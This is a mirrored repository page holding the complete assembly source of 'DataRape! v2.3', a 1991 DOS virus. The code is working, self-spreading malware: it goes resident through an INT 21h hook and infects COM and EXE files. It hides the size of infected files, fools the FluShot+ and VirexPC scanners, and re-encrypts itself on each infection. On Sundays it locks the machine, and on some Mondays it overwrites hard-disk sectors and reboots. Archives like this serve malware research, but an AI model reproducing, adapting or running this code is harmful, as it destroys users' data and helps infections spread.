mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1109 lines
30 KiB
NASM
1109 lines
30 KiB
NASM
@b macro char
|
|
mov ah,0eh
|
|
mov al,char
|
|
int 10h
|
|
endm
|
|
;---
|
|
; DataRape! v2.3 Source Code
|
|
;
|
|
; Written by Zodiac and Data Disruptor
|
|
;
|
|
; (C) 1991 RABID International Development Corp
|
|
; (Aug.14.91)
|
|
;---
|
|
;
|
|
; Note: Assuming that and infected COMMAND.COM was booted, FSP/VirexPC will
|
|
; not be able to go resident under this version of DataRape!
|
|
;
|
|
;---
|
|
|
|
code segment
|
|
assume cs:code,ds:code,es:code
|
|
|
|
v: ; All Pre-Resident Offsets Based
|
|
; upon this location
|
|
|
|
startup:
|
|
call relative
|
|
relative:
|
|
pop si
|
|
sub si,offset relative
|
|
mov bp,si
|
|
cld
|
|
|
|
push ax ;
|
|
push es ; Saves registers
|
|
push si ;
|
|
push ds ;
|
|
mov ah,2ah ; Get system time
|
|
int 21h
|
|
cmp al,0
|
|
jne are_we_here_boost
|
|
jmp its_sunday
|
|
|
|
are_we_here_boost:
|
|
jmp are_we_here
|
|
|
|
;---
|
|
; If it's Sunday, then we display a message and lock the system
|
|
;---
|
|
its_sunday:
|
|
mov ah,01h
|
|
mov cx,2020h
|
|
int 10h ;NUL the cursor
|
|
|
|
mov ah,02h ;Moves the cursor
|
|
xor dx,dx
|
|
int 10h
|
|
|
|
xor ax,ax ;Clears the screen
|
|
int 10h
|
|
|
|
@b "I"
|
|
@b "t"
|
|
@b "'"
|
|
@b "s"
|
|
@b " "
|
|
@b "S"
|
|
@b "u"
|
|
@b "n"
|
|
@b "d"
|
|
@b "a"
|
|
@b "y"
|
|
@b "."
|
|
@b " "
|
|
@b "W"
|
|
@b "h"
|
|
@b "y"
|
|
@b " "
|
|
@b "a"
|
|
@b "r"
|
|
@b "e"
|
|
@b " "
|
|
@b "y"
|
|
@b "o"
|
|
@b "u"
|
|
@b " "
|
|
@b "w"
|
|
@b "o"
|
|
@b "r"
|
|
@b "k"
|
|
@b "i"
|
|
@b "n"
|
|
@b "g"
|
|
@b "?"
|
|
@b 13
|
|
@b 10
|
|
@b "T"
|
|
@b "a"
|
|
@b "k"
|
|
@b "e"
|
|
@b " "
|
|
@b "t"
|
|
@b "h"
|
|
@b "e"
|
|
@b " "
|
|
@b "d"
|
|
@b "a"
|
|
@b "y"
|
|
@b " "
|
|
@b "o"
|
|
@b "f"
|
|
@b "f"
|
|
@b " "
|
|
@b "c"
|
|
@b "o"
|
|
@b "m"
|
|
@b "p"
|
|
@b "l"
|
|
@b "i"
|
|
@b "m"
|
|
@b "e"
|
|
@b "n"
|
|
@b "t"
|
|
@b "s"
|
|
@b " "
|
|
@b "o"
|
|
@b "f"
|
|
@b " "
|
|
@b "R"
|
|
@b "A"
|
|
@b "B"
|
|
@b "I"
|
|
@b "D"
|
|
@b 7
|
|
|
|
|
|
im_looped: jmp im_looped
|
|
|
|
are_we_here:
|
|
mov ax,6969h ; Check to see if we are
|
|
int 21h ; Allready resident
|
|
cmp bx,6969h
|
|
je already_here ; Yes? Then leave the program
|
|
jmp after_trish
|
|
|
|
db 13,10,'Patricia Boon',13,10
|
|
|
|
after_trish:
|
|
xor ax,ax ;
|
|
mov ds,ax ; Loads Current
|
|
les ax,ds:[21h*4] ; Int 21h Vector
|
|
mov word ptr cs:[si+save_int_21],ax ;
|
|
mov word ptr cs:[si+save_int_21+2],es ;
|
|
push cs
|
|
pop ds
|
|
jmp load_mem
|
|
already_here:
|
|
pop es ; If, exit
|
|
go_go_program: ;
|
|
jmp go_program ;
|
|
|
|
exit_exe:
|
|
mov bx,es ;
|
|
add bx,10h ; E
|
|
add bx,word ptr cs:[si+call_adr+2] ; X
|
|
mov word ptr cs:[si+patch+2],bx ; E
|
|
mov bx,word ptr cs:[si+call_adr] ;
|
|
mov word ptr cs:[si+patch],bx ; E
|
|
mov bx,es ; X
|
|
add bx,10h ; I
|
|
add bx,word ptr cs:[si+stack_pointer+2] ; T
|
|
mov ss,bx ; I
|
|
mov sp,word ptr cs:[si+stack_pointer] ; N
|
|
db 0eah ; G
|
|
patch: ;
|
|
dd 0 ;
|
|
|
|
; Below should be changed to:
|
|
; exit_com: xor bx,bx
|
|
; push bx
|
|
; mov di,100h
|
|
; push di
|
|
; add si,offset my_save
|
|
; movsb
|
|
; movsw
|
|
; ret
|
|
|
|
exit_com:
|
|
mov di,100h ; EXIT
|
|
add si,offset my_save ; COM
|
|
movsb ;
|
|
movsw ;
|
|
xor bx,bx ;
|
|
push bx ;
|
|
jmp [si-11] ;
|
|
|
|
;---
|
|
; Here is where we load ourselves into memory
|
|
;---
|
|
|
|
load_mem:
|
|
pop es
|
|
mov ah,49h ; Release memory
|
|
int 21h
|
|
mov bx,0ffffh ; Set memory for FFFFh
|
|
; paragraphs
|
|
mov ah,48h ; Allocate memory for
|
|
; ourselves
|
|
int 21h
|
|
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
|
jc go_go_program
|
|
mov cx,es
|
|
stc
|
|
adc cx,bx
|
|
mov ah,4ah ; Modify memory allocation
|
|
int 21h
|
|
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
|
stc
|
|
sbb es:[2],bx
|
|
push es
|
|
mov es,cx
|
|
mov ah,4ah
|
|
int 21h
|
|
mov ax,es
|
|
dec ax
|
|
mov ds,ax
|
|
mov word ptr ds:[1],8
|
|
call mul_16
|
|
mov bx,ax
|
|
mov cx,dx
|
|
pop ds
|
|
mov ax,ds
|
|
call mul_16
|
|
add ax,ds:[6]
|
|
adc dx,0
|
|
sub ax,bx
|
|
sbb dx,cx
|
|
jc mem_ok
|
|
sub ds:[6],ax ; This section look familiar?
|
|
mem_ok:
|
|
pop si
|
|
push si
|
|
push ds
|
|
push cs
|
|
xor di,di
|
|
mov ds,di
|
|
lds ax,ds:[27h*4]
|
|
mov word ptr cs:[si+save_int_27],ax
|
|
mov word ptr cs:[si+save_int_27+2],ds
|
|
pop ds
|
|
mov cx,offset aux_size
|
|
rep movsb
|
|
xor ax,ax
|
|
mov ds,ax
|
|
mov ds:[21h*4],offset int_21
|
|
mov ds:[21h*4+2],es
|
|
mov ds:[27h*4],offset int_27
|
|
mov ds:[27h*4+2],es
|
|
mov word ptr es:[filehndl],ax
|
|
pop es
|
|
go_program:
|
|
mov ah,30h ; Get DOS version number
|
|
int 21h
|
|
cmp al,4 ;
|
|
jae check_date ; If >= 4 then check the date
|
|
jmp no_fry ; NOT?! Then continue with
|
|
; virus
|
|
check_date: mov ah,2ah ; Get system time
|
|
int 21h
|
|
cmp al,1 ; Is it a monday?
|
|
je randomizer
|
|
jmp no_fry
|
|
;---
|
|
; If we actually get here, then we have a one in 15 chance that we will fry
|
|
; the hard-drive. You may ask yourself, "Why do you go through all the
|
|
; trouble?". Easy, because the main priority here is spreading, and not
|
|
; fucking up data...
|
|
;---
|
|
|
|
randomizer:
|
|
mov ah,2ch ; Get system time
|
|
int 21h
|
|
and dl,0fh
|
|
or dl,dl
|
|
jnz no_fry
|
|
jmp write_short
|
|
|
|
no_fry: pop si ; Restore registers
|
|
pop ds
|
|
pop ax
|
|
cmp word ptr cs:[si+my_save],5a4dh ; Is it an EXE file?
|
|
jne go_exit_com ; No? Then must be a COM file.
|
|
jmp exit_exe ; Yes! Exit an EXE file
|
|
go_exit_com:
|
|
jmp exit_com
|
|
|
|
int_27:
|
|
pushf ; Allocates Memory,
|
|
call alloc ; So TSR can load
|
|
popf ;
|
|
jmp dword ptr cs:[save_int_27] ;
|
|
|
|
;---
|
|
; This routine will return our ID byte in BX if we are resident.
|
|
;---
|
|
weare_here:
|
|
popf
|
|
xor ax,ax
|
|
mov bx,6969h ; ID Register
|
|
iret
|
|
|
|
int_21:
|
|
push bp
|
|
mov bp,sp
|
|
push [bp+6]
|
|
popf
|
|
pop bp ; Set Up Stack
|
|
|
|
pushf ; Save Flag
|
|
cld
|
|
cmp ax,6969h
|
|
je weare_here
|
|
|
|
cmp ah,11h ; Hide In
|
|
jb not_hide ; Directory
|
|
cmp ah,12h ; Listing
|
|
ja not_hide ;
|
|
fcb_find:
|
|
call dword ptr cs:[save_int_21]
|
|
push ax
|
|
push bx
|
|
push ds
|
|
push es
|
|
pushf
|
|
|
|
cmp al,0FFh
|
|
je done_hide ; Not There?
|
|
|
|
mov ah,2Fh
|
|
int 21h ; Get Size
|
|
push es
|
|
pop ds
|
|
cmp byte ptr es:[bx],0FFh ; Extended FCB?
|
|
jne not_extended
|
|
add bx,7
|
|
not_extended:
|
|
mov ax,es:[bx+17h]
|
|
and ax,1Fh
|
|
cmp ax,1Fh ; Check Time Stamp
|
|
|
|
;--
|
|
; Checking to see if the file is with a 62 seconds filestamp...
|
|
;--
|
|
|
|
jne done_hide ; No? Then the file is not
|
|
; infected. Leave it alone...
|
|
|
|
;--
|
|
; If we get here, then we've deduced that the file is indeed infected.
|
|
; Therefore, we must reduce the filesize from the DTA in order to show that it
|
|
; is "not infected"
|
|
;--
|
|
sub word ptr es:[bx+1Dh],offset top_file
|
|
sbb word ptr es:[bx+1Dh+2],0 ; Decrease Size
|
|
|
|
;---
|
|
; Finished hiding, restore the resigers we saved, and return to the INT
|
|
; whence we came from...
|
|
;---
|
|
|
|
done_hide:
|
|
popf
|
|
pop es
|
|
pop ds
|
|
pop bx
|
|
pop ax
|
|
iret
|
|
|
|
;--
|
|
; Function differentiation happens here...
|
|
;--
|
|
|
|
directory:
|
|
jmp fcb_find
|
|
|
|
weare_here_boost:
|
|
jmp weare_here
|
|
|
|
;---
|
|
; If FluShot+ or VirexPC are trying to go resident, then tell them that
|
|
; we "allready are" resident
|
|
;---
|
|
|
|
fsp_trying:
|
|
popf
|
|
mov ax,101h ;Set FSP/Virex ID byte
|
|
iret
|
|
|
|
not_hide:
|
|
cmp ax,0ff0fh
|
|
je fsp_trying
|
|
cmp ah,3ch ; Are we creating a file?
|
|
je create
|
|
cmp ah,3dh ; Open file handle?
|
|
je touch
|
|
cmp ah,3eh ; Are we closing a file?
|
|
je close
|
|
cmp ah,43h ; Get/Set file attributes?
|
|
je touch
|
|
cmp ax,4b00h ; Are we executing a file?
|
|
je touch
|
|
cmp ax,6969h ; Checking if we are resident?
|
|
je weare_here_boost
|
|
cmp ah,5bh ; Creating a file?
|
|
jne not_create
|
|
|
|
create:
|
|
cmp word ptr cs:[filehndl],0
|
|
jne dont_touch
|
|
call see_name
|
|
jnz dont_touch
|
|
call alloc
|
|
popf
|
|
call function
|
|
jc int_exit
|
|
pushf
|
|
push es
|
|
push cs
|
|
pop es
|
|
push si
|
|
push di
|
|
push cx
|
|
push ax
|
|
mov di,offset filehndl
|
|
stosw
|
|
mov si,dx
|
|
mov cx,65
|
|
move_name:
|
|
lodsb
|
|
stosb
|
|
test al,al
|
|
jz all_ok
|
|
loop move_name
|
|
mov word ptr es:[filehndl],cx
|
|
jmp all_ok
|
|
|
|
touch:
|
|
jmp try_infect
|
|
|
|
all_ok:
|
|
pop ax
|
|
pop cx
|
|
pop di
|
|
pop si
|
|
pop es
|
|
go_exit:
|
|
popf
|
|
jnc int_exit
|
|
close:
|
|
cmp bx,word ptr cs:[filehndl]
|
|
jne dont_touch
|
|
test bx,bx
|
|
jz dont_touch
|
|
call alloc
|
|
popf
|
|
call function
|
|
jc int_exit
|
|
pushf
|
|
push ds
|
|
push cs
|
|
pop ds
|
|
push dx
|
|
mov dx,offset filehndl+2
|
|
call do_file
|
|
mov word ptr cs:[filehndl],0
|
|
pop dx
|
|
pop ds
|
|
jmp go_exit
|
|
not_create:
|
|
cmp ah,3dh
|
|
je touch
|
|
cmp ah,43h
|
|
je touch
|
|
cmp ah,56h
|
|
jne dont_touch
|
|
try_infect:
|
|
call see_name
|
|
jnz dont_touch
|
|
call do_file
|
|
dont_touch:
|
|
call alloc
|
|
popf
|
|
call function
|
|
int_exit:
|
|
pushf
|
|
push ds
|
|
call get_chain
|
|
mov byte ptr ds:[0],'Z'
|
|
pop ds
|
|
popf
|
|
dummy proc far ; This is absolutely
|
|
ret 2 ; needed, IRET
|
|
dummy endp ; doesn't cut it
|
|
|
|
see_name:
|
|
push ax
|
|
push si
|
|
mov si,dx
|
|
|
|
;--
|
|
; Here's a crude yet effective way of scanning the file handle in order to see
|
|
; what type of file it is...
|
|
;
|
|
; (NOTE: We make up for crudeity later by checking the first two bytes of the
|
|
; file to see if it is a COM or EXE file (4d5a))
|
|
;--
|
|
|
|
scan_name:
|
|
lodsb
|
|
test al,al
|
|
jz bad_name
|
|
cmp al,'.'
|
|
jnz scan_name
|
|
call get_byte
|
|
mov ah,al
|
|
call get_byte
|
|
cmp ax,'co'
|
|
jz pos_com
|
|
cmp ax,'ex'
|
|
jnz good_name
|
|
call get_byte
|
|
cmp al,'e'
|
|
jmp short good_name
|
|
pos_com:
|
|
call get_byte
|
|
cmp al,'m'
|
|
jmp short good_name
|
|
bad_name:
|
|
inc al
|
|
good_name:
|
|
pop si
|
|
pop ax
|
|
ret
|
|
|
|
get_byte:
|
|
lodsb
|
|
cmp al,'C'
|
|
jc byte_got
|
|
cmp al,'Y'
|
|
jnc byte_got
|
|
add al,20h
|
|
byte_got:
|
|
ret
|
|
|
|
function:
|
|
pushf
|
|
call dword ptr cs:[save_int_21]
|
|
ret
|
|
|
|
do_file:
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
xor cx,cx
|
|
mov ax,4300h
|
|
call function
|
|
mov bx,cx
|
|
and cl,0feh
|
|
cmp cl,bl
|
|
je dont_change
|
|
mov ax,4301h
|
|
call function
|
|
stc
|
|
dont_change:
|
|
pushf
|
|
push ds
|
|
push dx
|
|
push bx
|
|
mov ax,3d02h
|
|
call function
|
|
jc cant_open
|
|
mov bx,ax
|
|
call disease
|
|
mov ah,3eh
|
|
|
|
call function
|
|
cant_open:
|
|
pop cx
|
|
pop dx
|
|
pop ds
|
|
popf
|
|
jnc no_update
|
|
mov ax,4301h
|
|
call function
|
|
no_update:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
ret
|
|
|
|
disease:
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
mov dx,offset top_save
|
|
mov cx,18h
|
|
mov ah,3fh
|
|
int 21h
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
int 21h
|
|
mov word ptr [top_save+1ah],dx
|
|
cmp ax,offset top_file
|
|
sbb dx,0
|
|
jc stop_infect
|
|
mov word ptr [top_save+18h],ax
|
|
|
|
mov ax,5700h
|
|
int 21h ; Check if Infected
|
|
and cx,1Fh
|
|
cmp cx,1Fh
|
|
je stop_infect
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
int 21h
|
|
cmp word ptr [top_save],5a4dh
|
|
je fuck_exe
|
|
add ax,offset aux_size+200h
|
|
adc dx,0
|
|
je fuck_it
|
|
stop_infect: ret
|
|
|
|
fuck_exe:
|
|
mov dx,word ptr [top_save+18h]
|
|
neg dl
|
|
and dx,0fh
|
|
xor cx,cx
|
|
mov ax,4201h
|
|
int 21h
|
|
mov word ptr [top_save+18h],ax
|
|
mov word ptr [top_save+1ah],dx
|
|
fuck_it:
|
|
mov ax,5700h
|
|
int 21h
|
|
pushf
|
|
push cx
|
|
push dx
|
|
cmp word ptr [top_save],5a4dh
|
|
je exe_file
|
|
mov ax,100h
|
|
jmp short set_adr
|
|
exe_file:
|
|
mov ax,word ptr [top_save+14h]
|
|
mov dx,word ptr [top_save+16h]
|
|
set_adr:
|
|
mov di,offset call_adr
|
|
stosw
|
|
mov ax,dx
|
|
stosw
|
|
mov ax,word ptr [top_save+10h]
|
|
stosw
|
|
mov ax,word ptr [top_save+0eh]
|
|
stosw
|
|
mov si,offset top_save
|
|
movsb
|
|
movsw
|
|
|
|
copy_body:
|
|
xor si,si
|
|
mov di,offset body
|
|
mov cx,offset top_file
|
|
rep movsb ; Copies virus
|
|
; body to buffer
|
|
|
|
enc_body: mov si,offset body
|
|
mov di,si
|
|
|
|
;**************************
|
|
;* CHANGE ENCRYPTION BASE *
|
|
;**************************
|
|
|
|
mov ah,2Ch ;Get system time
|
|
int 21h
|
|
mov byte ptr [enc_base_1],dl
|
|
mov byte ptr [body-v+enc_base_2],dl
|
|
|
|
;****************************
|
|
;* CHANGE ENCRYPTION METHOD *
|
|
;****************************
|
|
|
|
call yes_no
|
|
jc ror_rol
|
|
rol_ror: mov ax,0C0C8h
|
|
jmp short set_method
|
|
ror_rol: mov ax,0C8C0h
|
|
set_method: mov byte ptr [enc_meth_1],ah
|
|
mov byte ptr [body-v+enc_meth_2],al
|
|
|
|
;*******************************
|
|
;* FLIP SOME REGISTERS, PART 1 *
|
|
;*******************************
|
|
|
|
call yes_no
|
|
jc es_ds
|
|
ds_es: mov ax,1F07h
|
|
jmp short set_pops
|
|
es_ds: mov ax,071Fh
|
|
set_pops: mov byte ptr [body-v+pop_1],ah
|
|
mov byte ptr [body-v+pop_2],al
|
|
|
|
;*******************************
|
|
;* FLIP SOME REGISTERS, PART 2 *
|
|
;*******************************
|
|
|
|
;---
|
|
; Zodiac has informed me that there is an error in the following routine
|
|
; he has advised me to coment it out until he fixes the bug
|
|
;---
|
|
|
|
; call yes_no
|
|
; jc di_di_si
|
|
;si_si_di:
|
|
; mov ax,5EEEh
|
|
; mov dl,0F7h
|
|
; jmp short set_switch
|
|
;di_di_si:
|
|
; mov ax,5FEFh
|
|
; mov dl,0FEh
|
|
;set_switch:
|
|
; mov byte ptr [switch_1],ah
|
|
; mov byte ptr [switch_2],al
|
|
; mov byte ptr [switch_3],dl
|
|
|
|
;*******************************
|
|
;* FLIP SOME REGISTERS, PART 3 *
|
|
;*******************************
|
|
|
|
mov al,56h
|
|
call yes_no
|
|
jc set_push
|
|
inc al
|
|
set_push: mov byte ptr [push_1],al
|
|
|
|
;*******************************
|
|
;* FLIP SOME REGISTERS, PART 4 *
|
|
;*******************************
|
|
|
|
call yes_no
|
|
jc set_dl
|
|
set_dh: mov ax,0B6F1h
|
|
mov dl,0C6h
|
|
jmp short set_inc
|
|
set_dl: mov ax,0B2D1h
|
|
mov dl,0C2h
|
|
set_inc: mov byte ptr [inc_1],ah
|
|
mov byte ptr [inc_2],al
|
|
mov byte ptr [inc_3],dl
|
|
|
|
;*******************************
|
|
;* FLIP SOME REGISTERS, PART 5 *
|
|
;*******************************
|
|
|
|
call yes_no
|
|
jc ds_ax
|
|
ax_ds: mov ax,1E50h
|
|
mov dx,581Fh
|
|
jmp short set_push_2
|
|
ds_ax: mov ax,501Eh
|
|
mov dx,1F58h
|
|
set_push_2: mov word ptr [push_2_1],ax
|
|
mov word ptr [push_2_2],dx
|
|
|
|
db 0B2h
|
|
enc_base_1: db 00h ; General ENC Base
|
|
|
|
mov cx,offset un_enc
|
|
|
|
enc_loop: lodsb
|
|
push cx
|
|
mov cl,dl
|
|
inc dl
|
|
;---
|
|
; What is the meaning of this???
|
|
;---
|
|
|
|
db 0D2h
|
|
enc_meth_1: db 0C0h
|
|
pop cx
|
|
stosb
|
|
loop enc_loop ; Encrypto
|
|
|
|
mov dx,offset body
|
|
mov cx,offset top_file
|
|
mov ah,40h
|
|
int 21h ; Write Body
|
|
|
|
jc go_no_fuck
|
|
xor cx,ax
|
|
jnz go_no_fuck
|
|
mov dx,cx
|
|
mov ax,4200h
|
|
int 21h
|
|
cmp word ptr [top_save],5a4dh
|
|
je do_exe
|
|
mov byte ptr [top_save],0e9h
|
|
mov ax,word ptr [top_save+18h]
|
|
|
|
;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus
|
|
;****** This Doesn't happen when this is first compiled, an infection
|
|
;****** Needs to occur
|
|
|
|
add ax,un_enc-v-3
|
|
|
|
;******
|
|
|
|
mov word ptr [top_save+1],ax
|
|
mov cx,3
|
|
jmp short write_header
|
|
go_no_fuck:
|
|
jmp short no_fuck_boost
|
|
|
|
yes_no: push ax
|
|
mov ah,2Ch ;Get system time
|
|
int 21h
|
|
pop ax ;Save AX
|
|
test dl,1 ;Are the 100ths of seconds 1
|
|
jpe set_yes ;If parity is equal, SET_YES
|
|
set_no: clc ;Clear carry flag
|
|
ret
|
|
set_yes: stc ;Set carry flag
|
|
ret
|
|
jmp do_exe
|
|
|
|
no_fuck_boost:
|
|
jmp no_fuck
|
|
|
|
;---
|
|
; Construct the .EXE file's header
|
|
;---
|
|
|
|
do_exe:
|
|
mov ax,word ptr [top_save+8]
|
|
call mul_16
|
|
|
|
not ax
|
|
not dx
|
|
inc ax
|
|
jne calc_offs
|
|
inc dx
|
|
calc_offs:
|
|
add ax,word ptr [top_save+18h]
|
|
adc dx,word ptr [top_save+1ah]
|
|
mov cx,10h
|
|
div cx
|
|
|
|
;****** Below Sets the Calling Address to the Unencryption Portion of the
|
|
;****** Virus This Doesn't happen when this is first compiled, an infection
|
|
;****** Needs to occur
|
|
|
|
mov word ptr [top_save+14h],un_enc-v
|
|
|
|
;******
|
|
mov word ptr [top_save+16h],ax
|
|
add ax,(offset top_file-offset v-1)/16+1
|
|
mov word ptr [top_save+0eh],ax
|
|
mov word ptr [top_save+10h],100h
|
|
add word ptr [top_save+18h],offset top_file
|
|
adc word ptr [top_save+1ah],0
|
|
mov ax,word ptr [top_save+18h]
|
|
and ax,1ffh
|
|
mov word ptr [top_save+2],ax
|
|
pushf
|
|
mov ax,word ptr [top_save+19h]
|
|
shr byte ptr [top_save+1bh],1
|
|
rcr ax,1
|
|
popf
|
|
jz update_len
|
|
inc ax
|
|
update_len:
|
|
mov word ptr [top_save+4],ax
|
|
mov cx,18h
|
|
write_header:
|
|
mov dx,offset top_save
|
|
mov ah,40h
|
|
int 21h
|
|
pop dx
|
|
pop cx
|
|
and cx,0FFE0h
|
|
or cx,1Fh
|
|
jmp short time_got ; Mark Time Stamp
|
|
|
|
db 13,10,"Free Flash Force!!!",13,10
|
|
|
|
no_fuck:
|
|
pop dx
|
|
pop cx
|
|
time_got: popf
|
|
jc stop_fuck
|
|
mov ax,5701h
|
|
int 21h
|
|
stop_fuck:
|
|
ret
|
|
|
|
alloc:
|
|
push ds
|
|
call get_chain
|
|
mov byte ptr ds:[0],'M'
|
|
pop ds
|
|
ret
|
|
|
|
get_chain:
|
|
push ax
|
|
push bx
|
|
mov ah,62h
|
|
call function
|
|
mov ax,cs
|
|
dec ax
|
|
dec bx
|
|
next_blk:
|
|
mov ds,bx
|
|
stc
|
|
adc bx,ds:[3]
|
|
cmp bx,ax
|
|
jc next_blk
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
|
|
mul_16:
|
|
mov dx,10h
|
|
mul dx
|
|
ret
|
|
|
|
kill: call kill_rel
|
|
|
|
kill_rel:
|
|
pop si
|
|
jmp write_short
|
|
|
|
re_do:
|
|
mov byte ptr [sector],1 ; Reset sector count to 1
|
|
inc byte ptr [track] ; Increment next track
|
|
jmp fuck_drive ; Fuck it...
|
|
|
|
;---
|
|
; This routine is very nasty!!!
|
|
;---
|
|
|
|
write_short:
|
|
push cs
|
|
pop ds
|
|
cmp byte ptr [track],40
|
|
jae reboot
|
|
cmp byte ptr [sector],9
|
|
ja re_do
|
|
|
|
fuck_drive:
|
|
mov ah,03h ; Write disk sectors
|
|
mov al,9 ; Xfer 9 sectors
|
|
mov bx,offset header ; Set for buffer
|
|
mov ch,byte ptr [track] ; Set for track [track]
|
|
mov cl,byte ptr [sector] ; Set for sector [sector]
|
|
mov dh,0 ; Set for head 0
|
|
mov dl,2 ; Set for first fixed drive
|
|
|
|
int 13h
|
|
|
|
inc byte ptr [sector]
|
|
jmp write_short
|
|
|
|
;---
|
|
; This code will cold boot the CPU with a memory check
|
|
;---
|
|
|
|
reboot:
|
|
mov ax,0040h
|
|
mov ds,ax
|
|
mov ax,07f7fh
|
|
mov ds:[0072],ax
|
|
db 0eah,00h,00h,0ffh,0ffh ; JMP FFFF:0000
|
|
|
|
header db "------------------",13,10
|
|
db " DataRape! v2.2 ",13,10
|
|
db " By Zodiac ",13,10
|
|
db "and Data Disruptor",13,10
|
|
db " ",13,10
|
|
db " (c) 1991 RABID ",13,10
|
|
db "Int'nl Development",13,10
|
|
db " Corp. ",13,10
|
|
db "------------------",13,10
|
|
|
|
greetings db 13,10
|
|
db "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10
|
|
db "(Get your articles correct for a change... Maybe we should write",13,10
|
|
db "for you...), John McAfee (Who wouldn't be where he is today if it",13,10
|
|
db "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10
|
|
db "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10
|
|
db "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10
|
|
db "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10
|
|
db "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10
|
|
db "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10
|
|
db " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10
|
|
db 13,10
|
|
db "(c) 1991 The RABID International Development Corp."
|
|
|
|
call_adr:
|
|
dd 100h
|
|
stack_pointer:
|
|
dd 0
|
|
my_save:
|
|
int 20h
|
|
nop
|
|
|
|
;**** UnEncryption Below
|
|
|
|
un_enc: call enc_rel
|
|
enc_rel: pop si
|
|
rel_sub: sub si,offset enc_rel
|
|
|
|
;---
|
|
; Note: These are the only bytes which are constant throughout any infection
|
|
;---
|
|
|
|
rel_copy: mov di,si
|
|
|
|
push_1: push si
|
|
|
|
push_2_1: push ax
|
|
push ds
|
|
push es
|
|
|
|
push cs
|
|
pop_1: pop ds;-
|
|
|
|
push cs
|
|
pop_2: pop es;-
|
|
|
|
;---
|
|
; The constant bytes end here. (There are only 10 bytes...)
|
|
;---
|
|
inc_1: db 0B2h
|
|
|
|
enc_base_2: db 00h
|
|
mov cx,offset un_enc
|
|
un_enc_loop: lodsb
|
|
push cx
|
|
db 88h
|
|
inc_2: db 0D1h
|
|
|
|
db 0D2h
|
|
enc_meth_2: db 0C8h
|
|
|
|
db 0FEh
|
|
inc_3: db 0C2h
|
|
pop cx
|
|
stosb
|
|
loop un_enc_loop
|
|
|
|
pop es
|
|
push_2_2: pop ds
|
|
pop ax
|
|
ret
|
|
|
|
sector db 1 ; Count of sectors that have been fried
|
|
track db 0 ; Count of tracks that have been fried
|
|
|
|
top_file:
|
|
save_int_21 equ $
|
|
save_int_27 equ save_int_21+4
|
|
filehndl equ save_int_27+4
|
|
filename equ filehndl+2
|
|
aux_size equ filename+65
|
|
top_save equ filename+65
|
|
body equ top_save+1Ch
|
|
top_bz equ top_save-v
|
|
my_bz equ top_file-v
|
|
switch_1 equ enc_rel
|
|
switch_2 equ rel_sub+1
|
|
switch_3 equ rel_copy+1
|
|
|
|
;dta equ aux_size
|
|
; dta_attr equ dta+21
|
|
; dta_time equ dta+22
|
|
; dta_date equ dta+24
|
|
; dta_size_lo equ dta+26
|
|
; dta_size_hi equ dta+28
|
|
; dta_name equ dta+30
|
|
;
|
|
|
|
code ends
|
|
end
|
|
|
|
;--
|
|
; End of virus
|
|
;--
|